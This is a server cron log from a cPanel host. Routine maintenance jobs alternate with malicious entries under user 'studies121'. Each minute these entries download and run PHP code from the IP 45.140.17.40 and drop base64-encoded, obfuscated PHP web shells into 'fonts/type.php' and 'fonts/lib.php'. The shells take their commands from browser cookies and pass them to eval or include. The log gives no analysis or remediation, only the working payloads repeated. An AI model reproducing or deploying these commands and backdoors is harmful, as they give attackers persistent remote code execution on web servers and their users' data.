Sep  6 12:39:01 ip-184-168-122-23 CROND[3917]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 12:39:01 ip-184-168-122-23 CROND[3918]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:40:01 ip-184-168-122-23 CROND[4166]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:40:01 ip-184-168-122-23 CROND[4167]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:40:01 ip-184-168-122-23 CROND[4172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:40:01 ip-184-168-122-23 CROND[4173]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:40:01 ip-184-168-122-23 CROND[4174]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:40:01 ip-184-168-122-23 CROND[4175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:40:01 ip-184-168-122-23 CROND[4180]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:40:01 ip-184-168-122-23 CROND[4181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:41:02 ip-184-168-122-23 CROND[4452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:41:02 ip-184-168-122-23 CROND[4450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:41:02 ip-184-168-122-23 CROND[4451]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:41:02 ip-184-168-122-23 CROND[4454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:42:01 ip-184-168-122-23 CROND[4683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:42:01 ip-184-168-122-23 CROND[4686]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:42:01 ip-184-168-122-23 CROND[4688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:42:01 ip-184-168-122-23 CROND[4685]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:42:01 ip-184-168-122-23 CROND[4687]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:43:01 ip-184-168-122-23 CROND[5077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:43:01 ip-184-168-122-23 CROND[5078]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:43:01 ip-184-168-122-23 CROND[5079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:43:01 ip-184-168-122-23 CROND[5081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:44:01 ip-184-168-122-23 CROND[5298]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:44:01 ip-184-168-122-23 CROND[5301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:44:01 ip-184-168-122-23 CROND[5300]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:44:01 ip-184-168-122-23 CROND[5302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:44:01 ip-184-168-122-23 CROND[5303]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:45:01 ip-184-168-122-23 CROND[5615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:45:01 ip-184-168-122-23 CROND[5617]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:45:01 ip-184-168-122-23 CROND[5621]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:45:01 ip-184-168-122-23 CROND[5619]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:45:01 ip-184-168-122-23 CROND[5622]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  6 12:45:01 ip-184-168-122-23 CROND[5624]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:45:01 ip-184-168-122-23 CROND[5623]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:46:01 ip-184-168-122-23 CROND[5836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:46:01 ip-184-168-122-23 CROND[5837]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 12:46:01 ip-184-168-122-23 CROND[5841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:46:01 ip-184-168-122-23 CROND[5842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:46:01 ip-184-168-122-23 CROND[5843]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 12:46:01 ip-184-168-122-23 CROND[5845]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:46:01 ip-184-168-122-23 CROND[5844]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:47:01 ip-184-168-122-23 CROND[6065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:47:01 ip-184-168-122-23 CROND[6066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:47:01 ip-184-168-122-23 CROND[6068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:47:01 ip-184-168-122-23 CROND[6067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:48:01 ip-184-168-122-23 CROND[6269]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:48:01 ip-184-168-122-23 CROND[6271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:48:01 ip-184-168-122-23 CROND[6272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:48:01 ip-184-168-122-23 CROND[6274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:48:01 ip-184-168-122-23 CROND[6276]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:49:01 ip-184-168-122-23 CROND[6527]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:49:01 ip-184-168-122-23 CROND[6529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:49:01 ip-184-168-122-23 CROND[6528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:49:01 ip-184-168-122-23 CROND[6530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:50:01 ip-184-168-122-23 CROND[6703]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 12:50:01 ip-184-168-122-23 CROND[6706]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:50:01 ip-184-168-122-23 CROND[6708]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 12:50:01 ip-184-168-122-23 CROND[6712]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 12:50:01 ip-184-168-122-23 CROND[6711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 12:50:01 ip-184-168-122-23 CROND[6714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 12:50:01 ip-184-168-122-23 CROND[6713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:50:01 ip-184-168-122-23 CROND[6710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 12:50:01 ip-184-168-122-23 CROND[6718]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 12:51:01 ip-184-168-122-23 CROND[7012]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 12:51:01 ip-184-168-122-23 CROND[7014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 12:51:01 ip-184-168-122-23 CROND[7015]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
